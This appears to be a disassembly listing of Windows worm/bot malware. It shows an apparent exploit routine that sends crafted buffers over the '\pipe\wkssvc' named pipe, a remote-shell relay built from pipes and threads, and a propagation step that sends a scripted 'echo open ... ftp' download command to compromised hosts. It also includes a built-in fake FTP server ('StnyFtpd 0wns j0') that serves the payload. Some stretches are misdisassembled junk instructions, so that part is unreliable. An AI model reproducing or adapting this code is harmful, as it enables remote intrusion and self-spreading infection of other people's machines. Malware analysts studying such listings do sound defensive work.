lea eax, [ebp+var_50EC]
mov [ebp+var_78], eax
lea eax, [ebp+var_8C]
push edi
push offset dword_4E2618
push offset dword_4E261C
push eax
call ds:dword_451598
loc_40F355: ; CODE XREF: sub_40F19D+169j
lea eax, [ebp+arg_8]
push eax
push offset aSPipeWkssvc ; "\\\\%s\\pipe\\wkssvc"
lea eax, [ebp+var_70EC]
push 2000h
push eax
call sub_41D360
add esp, 10h
lea eax, [ebp+var_70EC]
push edi
push edi
push 3
push edi
push 3
push 40000000h
push eax
call ds:dword_4F1380 ; CreateFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
jnz short loc_40F39A
loc_40F393: ; CODE XREF: sub_40F19D+2F3j
xor esi, esi
jmp loc_40F621
; ---------------------------------------------------------------------------
loc_40F39A: ; CODE XREF: sub_40F19D+1F4j
push 48h
lea eax, [ebp+var_68]
push edi
push eax
call sub_41D100
and [ebp+var_67], 0
push 10h
pop eax
mov [ebp+var_68], 5
mov [ebp+var_64], eax
push eax
lea eax, [ebp+var_48]
push offset dword_449668
push eax
mov [ebp+var_66], 0Bh
mov [ebp+var_65], 3
mov [ebp+var_60], 48h
mov [ebp+var_5E], di
mov [ebp+var_5C], ebx
mov [ebp+var_58], 10B8h
mov [ebp+var_56], 10B8h
mov [ebp+var_54], edi
mov [ebp+var_50], ebx
mov [ebp+var_4C], di
mov [ebp+var_4A], 1
mov [ebp+var_38], ebx
call sub_41E840
push 10h
lea eax, [ebp+var_34]
push offset dword_44967C
push eax
mov [ebp+var_24], 2
call sub_41E840
add esp, 24h
lea eax, [ebp+var_6C]
push edi
push eax
lea eax, [ebp+var_68]
push 48h
push eax
push [ebp+var_4]
call near ptr 3D0000h
xor eax, [ebp+var_729F8B40]
test [ebx+esi-17AF0001h], edi
jge short loc_40F43E
add [eax], eax
pop ecx
lea ebx, [eax+eax+12h]
loc_40F438: ; CODE XREF: sub_40F19D:loc_40F43Ej
test bl, 3
jz short loc_40F440
inc ebx
loc_40F43E: ; CODE XREF: sub_40F19D+292j
jmp short loc_40F438
; ---------------------------------------------------------------------------
loc_40F440: ; CODE XREF: sub_40F19D+29Ej
cmp ds:byte_44850C[esi], 0
jz short loc_40F44C
add ebx, 4
loc_40F44C: ; CODE XREF: sub_40F19D+2AAj
lea eax, [ebp+var_8C44]
push eax
call sub_4201B0
pop ecx
lea eax, [ebx+eax*2+0Eh]
loc_40F45D: ; CODE XREF: sub_40F19D+2C5j
test al, 3
jz short loc_40F464
inc eax
jmp short loc_40F45D
; ---------------------------------------------------------------------------
loc_40F464: ; CODE XREF: sub_40F19D+2C2j
add eax, 8
cmp ds:byte_44850C[esi], 0
jz short loc_40F475
add eax, 4
jmp short loc_40F477
; ---------------------------------------------------------------------------
loc_40F475: ; CODE XREF: sub_40F19D+2D1j
inc eax
inc eax
loc_40F477: ; CODE XREF: sub_40F19D+2D6j
push eax
mov [ebp+var_8], eax
call sub_41AE40
mov ebx, eax
pop ecx
cmp ebx, edi
jnz short loc_40F495
push [ebp+var_4]
call ds:dword_4F12FC ; CloseHandle
jmp loc_40F393
; ---------------------------------------------------------------------------
loc_40F495: ; CODE XREF: sub_40F19D+2E8j
push [ebp+var_8]
push edi
push ebx
call sub_41D100
push 4
push offset dword_448350
push ebx
call sub_41E840
lea eax, [ebp+var_CC44]
push eax
call sub_4201B0
inc eax
mov [ebx+0Ch], eax
mov [ebx+8], edi
mov eax, [ebx+0Ch]
mov [ebx+4], eax
lea eax, [ebp+var_CC44]
push eax
lea eax, [ebx+10h]
push eax
call sub_41ED50
lea eax, [ebp+var_CC44]
push eax
call sub_4201B0
lea eax, [eax+eax+12h]
add esp, 28h
test al, 3
mov [ebp+arg_0], eax
jz short loc_40F4F7
loc_40F4EF: ; CODE XREF: sub_40F19D+355j
inc eax
test al, 3
jnz short loc_40F4EF
mov [ebp+arg_0], eax
loc_40F4F7: ; CODE XREF: sub_40F19D+350j
cmp ds:byte_44850C[esi], 0
jz short loc_40F519
push 4
add eax, ebx
push offset dword_448358
push eax
call sub_41E840
add esp, 0Ch
add [ebp+arg_0], 4
mov eax, [ebp+arg_0]
loc_40F519: ; CODE XREF: sub_40F19D+361j
lea edi, [eax+ebx]
lea eax, [ebp+var_8C44]
push eax
call sub_4201B0
inc eax
add [ebp+arg_0], 0Ch
mov [edi+8], eax
and dword ptr [edi+4], 0
mov eax, [edi+8]
mov [edi], eax
lea eax, [ebp+var_8C44]
push eax
mov eax, [ebp+arg_0]
add eax, ebx
push eax
call sub_41ED50
lea eax, [ebp+var_8C44]
push eax
call sub_4201B0
mov ecx, [ebp+arg_0]
add esp, 10h
lea eax, [ecx+eax*2+2]
test al, 3
mov [ebp+arg_0], eax
jz short loc_40F570
loc_40F568: ; CODE XREF: sub_40F19D+3CEj
inc eax
test al, 3
jnz short loc_40F568
mov [ebp+arg_0], eax
loc_40F570: ; CODE XREF: sub_40F19D+3C9j
xor edi, edi
push 8
add eax, ebx
push edi
push eax
call sub_41D100
mov eax, [ebp+arg_0]
add esp, 0Ch
add eax, 8
cmp ds:byte_44850C[esi], 0
jz short loc_40F594
mov [eax+ebx], edi
jmp short loc_40F59A
; ---------------------------------------------------------------------------
loc_40F594: ; CODE XREF: sub_40F19D+3F0j
mov word ptr [eax+ebx], 1
loc_40F59A: ; CODE XREF: sub_40F19D+3F5j
push 18h
lea eax, [ebp+var_20]
push edi
push eax
call sub_41D100
add esp, 0Ch
mov cl, ds:byte_44850C[esi]
and [ebp+var_1F], 0
and [ebp+var_1E], 0
push 1
mov [ebp+var_16], di
pop eax
mov [ebp+var_C], di
push eax
push 10B8h
push [ebp+var_8]
lea esi, [ebp+var_20]
neg cl
sbb ecx, ecx
push ebx
and ecx, 2
sub esp, 18h
add ecx, 19h
mov [ebp+var_20], 5
push 6
mov [ebp+var_A], cx
pop ecx
mov [ebp+var_1D], 3
mov edi, esp
push [ebp+var_4]
mov [ebp+var_1C], 10h
mov [ebp+var_14], eax
rep movsd
call loc_40F0BF
add esp, 2Ch
test al, al
jnz short loc_40F60C
xor esi, esi
jmp short loc_40F60F
; ---------------------------------------------------------------------------
loc_40F60C: ; CODE XREF: sub_40F19D+469j
push 1
pop esi
loc_40F60F: ; CODE XREF: sub_40F19D+46Dj
push [ebp+var_4]
call ds:dword_4F12FC ; CloseHandle
push ebx
call sub_41B8B0
pop ecx
xor edi, edi
loc_40F621: ; CODE XREF: sub_40F19D+1F8j
push edi
push edi
push [ebp+var_78]
call ds:dword_451558
mov eax, esi
loc_40F62E: ; CODE XREF: sub_40F19D+26j
pop edi
pop esi
pop ebx
leave
retn
sub_40F19D endp ; sp-analysis failed
; ---------------------------------------------------------------------------
push esi
push edi
sub esp, 0BCh
lea esi, [esp+0C8h]
push 2Fh
pop ecx
mov edi, esp
push 1
rep movsd
call sub_40F19D
pop ecx
lea esi, [esp+0C8h]
push 2Fh
pop ecx
mov edi, esp
push 1
rep movsd
call sub_40F19D
add esp, 0C0h
push 1F4h
call ds:dword_4F12F4 ; Sleep
push 7C7h
lea esi, [esp+10h]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_417E0E
add esp, 0C0h
cmp al, 1
jnz short loc_40F6B7
mov eax, [esp+0B4h]
push 1
shl eax, 6
inc ds:dword_4439F8[eax]
lea eax, dword_4439F8[eax]
pop eax
jmp short loc_40F6B9
; ---------------------------------------------------------------------------
loc_40F6B7: ; CODE XREF: seg000:0040F69Aj
xor eax, eax
loc_40F6B9: ; CODE XREF: seg000:0040F6B5j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
push esi
push edi
sub esp, 0BCh
lea esi, [esp+0C8h]
push 2Fh
pop ecx
mov edi, esp
push 0
rep movsd
call sub_40F19D
pop ecx
lea esi, [esp+0C8h]
push 2Fh
pop ecx
mov edi, esp
push 0
rep movsd
call sub_40F19D
add esp, 0C0h
push 1F4h
call ds:dword_4F12F4 ; Sleep
push 7C7h
lea esi, [esp+10h]
sub esp, 0BCh
push 2Fh
pop ecx
mov edi, esp
rep movsd
call sub_417E0E
add esp, 0C0h
cmp al, 1
jnz short loc_40F740
mov eax, [esp+0B4h]
push 1
shl eax, 6
inc ds:dword_4439F8[eax]
lea eax, dword_4439F8[eax]
pop eax
jmp short loc_40F742
; ---------------------------------------------------------------------------
loc_40F740: ; CODE XREF: seg000:0040F723j
xor eax, eax
loc_40F742: ; CODE XREF: seg000:0040F73Ej
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40F745 proc near ; DATA XREF: seg000:0040F92Eo
var_404 = byte ptr -404h
var_4 = byte ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40F74E: ; CODE XREF: sub_40F745+25j
; sub_40F745+41j
push 0
lea eax, [ebp+var_404]
push 400h
push eax
push ds:dword_4E2630
call ds:dword_45150C
test eax, eax
jle short loc_40F74E
lea ecx, [ebp+var_4]
push 0
push ecx
push eax
lea eax, [ebp+var_404]
push eax
push ds:dword_4E262C
call near ptr 3D0000h
scasd
jmp short loc_40F74E
sub_40F745 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn bp-based frame
sub_40F788 proc near ; DATA XREF: seg000:0040F915o
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 404h
loc_40F791: ; CODE XREF: sub_40F788+2Fj
; sub_40F788+49j
lea eax, [ebp+var_4]
and [ebp+var_4], 0
push 0
push eax
lea eax, [ebp+var_404]
push 400h
push eax
push ds:dword_4E2620
call ds:dword_4F1374 ; ReadFile
cmp [ebp+var_4], 0
jle short loc_40F791
push 0
lea eax, [ebp+var_404]
push [ebp+var_4]
push eax
push ds:dword_4E2630
call ds:dword_451540
jmp short loc_40F791
sub_40F788 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 11Ch
mov eax, [ebp+8]
push ebx
push esi
push edi
push 28h
mov esi, eax
pop ecx
lea edi, [ebp-11Ch]
rep movsd
push 1
xor edi, edi
pop esi
mov [eax+98h], esi
push 10h
lea eax, [ebp-38h]
push edi
push eax
call sub_41D100
add esp, 0Ch
mov word ptr [ebp-38h], 2
push dword ptr [ebp-98h]
call ds:dword_4514F4
push 6
push esi
push 2
mov [ebp-36h], ax
call ds:dword_451570
mov [ebp+8], eax
lea eax, [ebp-38h]
push 10h
push eax
push dword ptr [ebp+8]
call ds:dword_451520
push 5
push dword ptr [ebp+8]
call ds:dword_45151C
mov ebx, ds:dword_4F1394
mov esi, ds:dword_4F12FC
loc_40F853: ; CODE XREF: seg000:0040F99Ej
push edi
push edi
push dword ptr [ebp+8]
call ds:dword_451584
mov ds:dword_4E2630, eax
lea eax, [ebp-0Ch]
push edi
push eax
push offset dword_4E262C
push offset dword_4E2628
mov dword ptr [ebp-0Ch], 0Ch
mov dword ptr [ebp-4], 1
mov [ebp-8], edi
call ebx ; dword_4F1394
lea eax, [ebp-0Ch]
push edi
push eax
push offset dword_4E2624
push offset dword_4E2620
call ebx ; dword_4F1394
push 44h
lea eax, [ebp-7Ch]
push edi
push eax
call sub_41D100
mov eax, ds:dword_4E2628
add esp, 0Ch
mov [ebp-44h], eax
mov eax, ds:dword_4E2624
mov [ebp-40h], eax
push edi
push 1
lea eax, [ebp-3Ch]
push 2
push eax
mov dword ptr [ebp-7Ch], 44h
mov dword ptr [ebp-50h], 101h
mov [ebp-4Ch], di
call near ptr 3D0000h
lock push eax
push ds:dword_4E2624
call near ptr 3D0000h
cld
push eax
call near ptr 3D0000h
mov byte ptr [ebp-72AF27BBh], 45h
test [eax+57h], dl
push edi
push 4000090h
lea eax, [ebp-0Ch]
push 1
push eax
lea eax, [ebp-0Ch]
push eax
push offset dword_449690
push edi
call near ptr 3D0000h
and [ebp+5750E845h], cl
push edi
push offset sub_40F788
lea eax, [ebp-0Ch]
push edi
push eax
call ds:dword_4F131C ; CreateThread
mov [ebp-14h], eax
lea eax, [ebp-18h]
push eax
push edi
push edi
push offset sub_40F745
lea eax, [ebp-0Ch]
push edi
push eax
call ds:dword_4F131C ; CreateThread
push 0FFFFFFFFh
mov [ebp-10h], eax
push dword ptr [ebp-28h]
call near ptr 3D0000h
inc eax
push edi
push dword ptr [ebp-10h]
call near ptr 3D0000h ; CODE XREF: seg000:0040F961j
jnz short loc_40F9AE
push dword ptr [ebp-14h]
call near ptr 3D0000h
jl short near ptr loc_40F95F+1 ; CODE XREF: seg000:loc_40F95Fj
jnz short near ptr loc_40F950+3
call esi ; dword_4F12FC
push dword ptr [ebp-14h]
call esi ; dword_4F12FC
push edi
push dword ptr [ebp-28h]
call near ptr 3D0000h
dec ecx
push ds:dword_4E2628
call esi ; dword_4F12FC
push ds:dword_4E262C
call esi ; dword_4F12FC
push ds:dword_4E2620
call esi ; dword_4F12FC
push ds:dword_4E2624
call esi ; dword_4F12FC
push dword ptr [ebp-24h]
call esi ; dword_4F12FC
push dword ptr [ebp-28h]
call esi ; dword_4F12FC
jmp loc_40F853
; ---------------------------------------------------------------------------
byte_40F9A3 db 0E9h ; DATA XREF: seg002:0043C00Co
align 8
dd 0FFFE68h
db 0, 68h
; ---------------------------------------------------------------------------
loc_40F9AE: ; CODE XREF: seg000:0040F955j
add [eax+eax], al
add al, ch
xchg al, [bx+si]
add [ecx-5Dh], bl
cmp [esi], ah
dec esi
add [ecx-3Dh], bl
loc_40F9BF: ; DATA XREF: seg000:00409A5Bo
push ebp
mov ebp, esp
sub esp, 6C0h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 27h
mov esi, eax
pop ecx
lea edi, [ebp-0C0h]
rep movsd
push 1
xor ebx, ebx
pop esi
mov [eax+98h], esi
push 10h
lea eax, [ebp-14h]
push ebx
push eax
call sub_41D100
add esp, 0Ch
mov word ptr [ebp-14h], 2
push dword ptr [ebp-0B4h]
call ds:dword_4514F4
push ebx
push esi
push 2
mov [ebp-12h], ax
mov [ebp-10h], ebx
call ds:dword_451570
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jnz short loc_40FA81
call ds:dword_451488
push eax
lea eax, [ebp-2C0h]
push offset unk_449698
push eax
call sub_41D260
add esp, 0Ch
cmp [ebp-2Ch], ebx
jnz short loc_40FA61
push ebx
lea eax, [ebp-2C0h]
push dword ptr [ebp-30h]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0C0h]
call sub_40145D
add esp, 14h
loc_40FA61: ; CODE XREF: seg000:0040FA3Fj
lea eax, [ebp-2C0h]
push eax
call sub_4161A7
push dword ptr [ebp-0BCh]
call sub_40905B
pop ecx
pop ecx
push ebx
call near ptr 3D0000h
inc ebx
loc_40FA81: ; CODE XREF: seg000:0040FA1Fj
mov eax, [ebp-0BCh]
push 10h
imul eax, 234h
mov ds:dword_4523C4[eax], edi
lea eax, [ebp-14h]
push eax
push edi
call ds:dword_451520
cmp eax, esi
mov ebx, 400h
jnz loc_40FBA9
call ds:dword_451488
cmp eax, 2740h
jz short near ptr loc_40FB15+1
push eax
lea eax, [ebp-2C0h]
push offset unk_4496EC
push eax
call sub_41D260
xor esi, esi
add esp, 0Ch
cmp [ebp-2Ch], esi
jnz short loc_40FAF6
push esi
lea eax, [ebp-2C0h]
push dword ptr [ebp-30h]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0C0h]
call sub_40145D
add esp, 14h
loc_40FAF6: ; CODE XREF: seg000:0040FAD4j
lea eax, [ebp-2C0h]
push eax
call sub_4161A7
push dword ptr [ebp-0BCh]
call sub_40905B
pop ecx
pop ecx
push esi
call near ptr 3D0000h
loc_40FB15: ; CODE XREF: seg000:0040FAB8j
sub [eax-2], ebp
inc dword ptr [eax]
add [ebx-18h], dl
std
test [eax], al
add [ecx-5Dh], bl
cmp [esi], ah
dec esi
add [ecx+66h], bl
mov [ebp-12h], eax
lea eax, [ebp-14h]
push 10h
push eax
push edi
call ds:dword_451520
cmp eax, esi
jnz short loc_40FBA9
call ds:dword_451488
mov esi, eax
lea eax, [ebp-2C0h]
push esi
push offset unk_449740
push eax
call sub_41D260
xor edi, edi
add esp, 0Ch
cmp [ebp-2Ch], edi
jnz short loc_40FB89
cmp esi, 2740h
jz short loc_40FB89
push edi
lea eax, [ebp-2C0h]
push dword ptr [ebp-30h]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0C0h]
call sub_40145D
add esp, 14h
loc_40FB89: ; CODE XREF: seg000:0040FB5Fj
; seg000:0040FB67j
lea eax, [ebp-2C0h]
push eax
call sub_4161A7
push dword ptr [ebp-0BCh]
call sub_40905B
pop ecx
pop ecx
push edi
call near ptr 3D0000h
cdq
loc_40FBA9: ; CODE XREF: seg000:0040FAA7j
; seg000:0040FB3Bj
push 5
push edi
call ds:dword_45151C
cmp eax, esi
jz loc_40FCB2
mov dword ptr [ebp-4], 10h
mov esi, offset byte_43CCBC
loc_40FBC6: ; CODE XREF: seg000:0040FBDBj
; seg000:0040FC4Ej ...
lea eax, [ebp-4]
push eax
lea eax, [ebp-24h]
push eax
push edi
call ds:dword_451584
cmp eax, 0FFFFFFFFh
mov [ebp+8], eax
jz short loc_40FBC6
movzx eax, word ptr [ebp-22h]
push eax
push dword ptr [ebp-20h]
call ds:dword_45157C
push eax
lea eax, [ebp-2C0h]
push offset unk_449794
push eax
call sub_41D260
add esp, 10h
cmp dword ptr [ebp-2Ch], 0
jnz short loc_40FC27
push 0
lea eax, [ebp-2C0h]
push dword ptr [ebp-30h]
push eax
lea eax, [ebp-0B0h]
push eax
push dword ptr [ebp-0C0h]
call sub_40145D
add esp, 14h
loc_40FC27: ; CODE XREF: seg000:0040FC04j
lea eax, [ebp-2C0h]
push eax
call sub_4161A7
pop ecx
lea eax, [ebp-2C0h]
push 0
push 200h
push eax
push dword ptr [ebp+8]
call ds:dword_45150C
cmp eax, 0FFFFFFFFh
jz loc_40FBC6
push esi
push esi
push ds:dword_4DF1B8
push dword ptr [ebp-0C0h]
call sub_402617
pop ecx
push eax
push offset aEchoOpenSDOE_1 ; "echo open %s %d >> o&echo user 1 >>o &e"...
lea eax, [ebp-6C0h]
push ebx
push eax
call sub_41D360
add esp, 1Ch
lea eax, [ebp-6C0h]
push 0
push eax
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-6C0h]
push eax
push dword ptr [ebp+8]
call ds:dword_451540
cmp eax, 0FFFFFFFFh
jz loc_40FBC6
inc ds:dword_4E2640
jmp loc_40FBC6
; ---------------------------------------------------------------------------
loc_40FCB2: ; CODE XREF: seg000:0040FBB4j
push edi
call ds:dword_451588
push dword ptr [ebp-0BCh]
call sub_40905B
pop ecx
push 0
call near ptr 3D0000h
cld
push ebp
mov ebp, esp
sub esp, 0A70h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 1
mov ecx, 0A9h
mov esi, eax
lea edi, [ebp-6E0h]
pop ebx
rep movsd
mov [eax+2A0h], ebx
lea eax, [ebp-0A70h]
xor esi, esi
push eax
push 101h
mov [ebp-1Ch], ebx
mov [ebp-2Ch], ebx
mov [ebp-24h], ebx
mov [ebp-22Ch], esi
mov [ebp-43Ch], esi
call ds:dword_4F14DC ; WSAStartup
push esi
push ebx
push 2
call ds:dword_4F14E4 ; socket
mov esi, ds:dword_4F14BC
lea ecx, [ebp-1Ch]
push 4
push ecx
mov edi, 0FFFFh
push 4
push edi
push eax
mov [ebp-8], eax
call esi ; dword_4F14BC
lea eax, [ebp-2Ch]
push 4
push eax
push 0FFFFFFFBh
push edi
mov edi, [ebp-8]
push edi
call esi ; dword_4F14BC
lea eax, [ebp-24h]
push eax
push 8004667Eh
push edi
call ds:dword_4F14C0 ; ioctlsocket
mov ax, word ptr ds:dword_4DF1B8
and dword ptr [ebp-48h], 0
push eax
mov word ptr [ebp-4Ch], 2
call ds:dword_4514F4
mov [ebp-4Ah], ax
lea eax, [ebp-4Ch]
push 10h
push eax
push edi
call ds:dword_4F14C4 ; bind
test eax, eax
jge short loc_40FD93
mov eax, ebx
jmp loc_4102FA
; ---------------------------------------------------------------------------
loc_40FD93: ; CODE XREF: seg000:0040FD8Aj
push 0Ah
push edi
call ds:dword_4F14C8 ; listen
mov [ebp-22Ch], ebx
mov ebx, ds:dword_4F14E8
mov [ebp-228h], edi
mov [ebp-4], edi
loc_40FDB1: ; CODE XREF: seg000:0040FDEAj
; seg000:004102F2j
push 41h
lea esi, [ebp-22Ch]
pop ecx
lea edi, [ebp-43Ch]
rep movsd
xor esi, esi
lea eax, [ebp-43Ch]
push esi
push esi
push esi
push eax
mov eax, [ebp-4]
inc eax
push eax
call ds:dword_4F14F4 ; select
cmp eax, 0FFFFFFFFh
jz loc_4102F7
xor edi, edi
cmp [ebp-4], esi
mov [ebp+8], edi
jl short loc_40FDB1
loc_40FDEC: ; CODE XREF: seg000:004102ECj
xor esi, esi
push 64h
lea eax, [ebp-2A0h]
push esi
push eax
call sub_41D100
push 64h
lea eax, [ebp-0B0h]
push esi
push eax
call sub_41D100
add esp, 18h
lea eax, [ebp-43Ch]
push eax
push edi
call sub_437842 ; __WSAFDIsSet
test eax, eax
jz loc_4102E5
cmp edi, [ebp-8]
jnz short loc_40FEA3
lea eax, [ebp-10h]
mov dword ptr [ebp-10h], 10h
push eax
lea eax, [ebp-23Ch]
push eax
push dword ptr [ebp-8]
call ds:dword_4F14CC ; accept
cmp eax, 0FFFFFFFFh
jz loc_4102E5
xor ecx, ecx
cmp [ebp-22Ch], esi
jbe short loc_40FE6D
lea edx, [ebp-228h]
loc_40FE5D: ; CODE XREF: seg000:0040FE6Bj
cmp [edx], eax
jz short loc_40FE6D
inc ecx
add edx, 4
cmp ecx, [ebp-22Ch]
jb short loc_40FE5D
loc_40FE6D: ; CODE XREF: seg000:0040FE55j
; seg000:0040FE5Fj
cmp ecx, [ebp-22Ch]
jnz short loc_40FE8B
cmp dword ptr [ebp-22Ch], 40h
jnb short loc_40FE8B
mov [ebp+ecx*4-228h], eax
inc dword ptr [ebp-22Ch]
loc_40FE8B: ; CODE XREF: seg000:0040FE73j
; seg000:0040FE7Cj
cmp eax, [ebp-4]
jle short loc_40FE93
mov [ebp-4], eax
loc_40FE93: ; CODE XREF: seg000:0040FE8Ej
push esi
push 15h
push offset a220Stnyftpd0wn ; "220 StnyFtpd 0wns j0\n"
push eax
call ebx ; dword_4F14E8
jmp loc_4102E5
; ---------------------------------------------------------------------------
loc_40FEA3: ; CODE XREF: seg000:0040FE27j
push esi
lea eax, [ebp-2A0h]
push 64h
push eax
push edi
call ds:dword_4F14E0 ; recv
test eax, eax
jg short loc_40FF0A
mov edx, [ebp-22Ch]
xor ecx, ecx
cmp edx, esi
jbe short loc_40FEFE
lea eax, [ebp-228h]
loc_40FECA: ; CODE XREF: seg000:0040FED4j
cmp [eax], edi
jz short loc_40FED8
inc ecx
add eax, 4
cmp ecx, edx
jb short loc_40FECA
jmp short loc_40FEFE
; ---------------------------------------------------------------------------
loc_40FED8: ; CODE XREF: seg000:0040FECCj
dec edx
cmp ecx, edx
jnb short loc_40FEF8
lea eax, [ebp+ecx*4-228h]
loc_40FEE4: ; CODE XREF: seg000:0040FEF6j
mov edx, [eax+4]
inc ecx
mov [eax], edx
mov edx, [ebp-22Ch]
add eax, 4
dec edx
cmp ecx, edx
jb short loc_40FEE4
loc_40FEF8: ; CODE XREF: seg000:0040FEDBj
dec dword ptr [ebp-22Ch]
loc_40FEFE: ; CODE XREF: seg000:0040FEC2j
; seg000:0040FED6j
push edi
call ds:dword_4F14D0 ; closesocket
jmp loc_4102E5
; ---------------------------------------------------------------------------
loc_40FF0A: ; CODE XREF: seg000:0040FEB6j
lea eax, [ebp-338h]
push eax
lea eax, [ebp-0B0h]
push eax
lea eax, [ebp-2A0h]
push offset aSS_1 ; "%s %s"
push eax
call sub_41EB80
lea eax, [ebp-0B0h]
push offset aUser_1 ; "USER"
push eax
call sub_41D900
add esp, 18h
test eax, eax
jnz short loc_40FF4E
push esi
push 16h
push offset a331PasswordReq ; "331 Password required\n"
jmp loc_4102D0
; ---------------------------------------------------------------------------
loc_40FF4E: ; CODE XREF: seg000:0040FF3Fj
lea eax, [ebp-0B0h]
push offset aPass ; "PASS"
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF72
push esi
push 14h
push offset a230UserLoggedI ; "230 User logged in.\n"
jmp loc_4102D0
; ---------------------------------------------------------------------------
loc_40FF72: ; CODE XREF: seg000:0040FF63j
lea eax, [ebp-0B0h]
push offset aSyst ; "SYST"
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_40FF96
push esi
push 0Dh
push offset a215Stnyftpd ; "215 StnyFtpd\n"
jmp loc_4102D0
; ---------------------------------------------------------------------------
loc_40FF96: ; CODE XREF: seg000:0040FF87j
lea eax, [ebp-0B0h]
push offset aRest ; "REST"
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_40FFBA
push esi
push 10h
push offset a350Restarting_ ; "350 Restarting.\n"
jmp loc_4102D0
; ---------------------------------------------------------------------------
loc_40FFBA: ; CODE XREF: seg000:0040FFABj
lea eax, [ebp-0B0h]
push offset off_4498E8
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_40FFDE
push esi
push 1Eh
push offset a257IsCurrentDi ; "257 \"/\" is current directory.\n"
jmp loc_4102D0
; ---------------------------------------------------------------------------
loc_40FFDE: ; CODE XREF: seg000:0040FFCFj
lea eax, [ebp-0B0h]
push offset aType ; "TYPE"
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_410019
lea eax, [ebp-338h]
push offset aA_0 ; "A"
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_410019
push esi
push 13h
push offset a200TypeSetToA_ ; "200 Type set to A.\n"
jmp loc_4102D0
; ---------------------------------------------------------------------------
loc_410019: ; CODE XREF: seg000:0040FFF3j
; seg000:0041000Aj
lea eax, [ebp-0B0h]
push offset aType_0 ; "TYPE"
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_410054
lea eax, [ebp-338h]
push offset aI ; "I"
push eax
call sub_41D900
loc_410041: ; DATA XREF: seg000:0040E5E7o
pop ecx
test eax, eax
pop ecx
jnz short loc_410054
push esi
push 13h
push offset a200TypeSetToI_ ; "200 Type set to I.\n"
jmp loc_4102D0
; ---------------------------------------------------------------------------
loc_410054: ; CODE XREF: seg000:0041002Ej
; seg000:00410045j
; DATA XREF: ...
lea eax, [ebp-0B0h]
push offset aPasv ; "PASV"
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_4100A2
push 0Ah
mov esi, offset a425PassiveNotS ; "425 Passive not supported on this serve"...
pop ecx
lea edi, [ebp-128h]
rep movsd
push eax
lea eax, [ebp-128h]
push eax
movsw
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-128h]
loc_410092: ; CODE XREF: seg000:004100E1j
push eax
push dword ptr [ebp+8]
call ebx ; dword_4F14E8
xor esi, esi
loc_41009A: ; CODE XREF: seg000:004101B1j
mov edi, [ebp+8]
jmp loc_4102D3
; ---------------------------------------------------------------------------
loc_4100A2: ; CODE XREF: seg000:00410069j
lea eax, [ebp-0B0h]
push offset aList_0 ; "LIST"
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz short loc_4100E3
push 5
mov esi, offset a226TransferCom ; "226 Transfer complete\n"
pop ecx
lea edi, [ebp-0C8h]
rep movsd
movsw
push eax
lea eax, [ebp-0C8h]
push eax
movsb
call sub_41AC70
pop ecx
push eax
lea eax, [ebp-0C8h]
jmp short loc_410092
; ---------------------------------------------------------------------------
loc_4100E3: ; CODE XREF: seg000:004100B7j
lea eax, [ebp-0B0h]
push offset aPort ; "PORT"
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_4101B6
lea eax, [ebp-2D4h]
push eax
lea eax, [ebp-0FCh]
push eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-18h]
push eax
lea eax, [ebp-20h]
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-2A0h]
push offset aS_19 ; "%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^\n]"...
push eax
call sub_41EB80
lea eax, [ebp-0FCh]
push eax
call sub_41D560
mov edi, eax
lea eax, [ebp-2D4h]
push eax
call sub_41D560
mov [ebp-0Ch], eax
push 32h
lea eax, [ebp-0FCh]
push esi
push eax
call sub_41D100
push dword ptr [ebp-0Ch]
lea eax, [ebp-0FCh]
push edi
push offset aXX ; "%x%x\n"
push eax
call sub_41D260
add esp, 44h
lea eax, [ebp-0FCh]
push 10h
push esi
push eax
call sub_41E380
mov [ebp-0Ch], eax
lea eax, [ebp-14h]
push eax
lea eax, [ebp-18h]
push eax
lea eax, [ebp-20h]
push eax
lea eax, [ebp-28h]
push eax
lea eax, [ebp-3Ch]
push offset aS_S_S_S ; "%s.%s.%s.%s"
push eax
call sub_41D260
add esp, 24h
push esi
push 1Dh
push offset a200PortCommand ; "200 PORT command successful.\n"
push dword ptr [ebp+8]
call ebx ; dword_4F14E8
jmp loc_41009A
; ---------------------------------------------------------------------------
loc_4101B6: ; CODE XREF: seg000:004100F8j
lea eax, [ebp-0B0h]
push offset aRetr ; "RETR"
push eax
call sub_41D900
pop ecx
test eax, eax
pop ecx
jnz loc_4102B1
push esi
push 28h
push offset a150OpeningBina ; "150 Opening BINARY mode data connection"...
push edi
call ebx ; dword_4F14E8
push dword ptr [ebp-0Ch]
lea eax, [ebp-3Ch]
push eax
call sub_410301
pop ecx
cmp eax, 1
pop ecx
jnz loc_4102A7
lea eax, [ebp-3Ch]
push eax
lea eax, [ebp-8E0h]
push offset dword_449A38
push eax
call sub_41D260
add esp, 0Ch
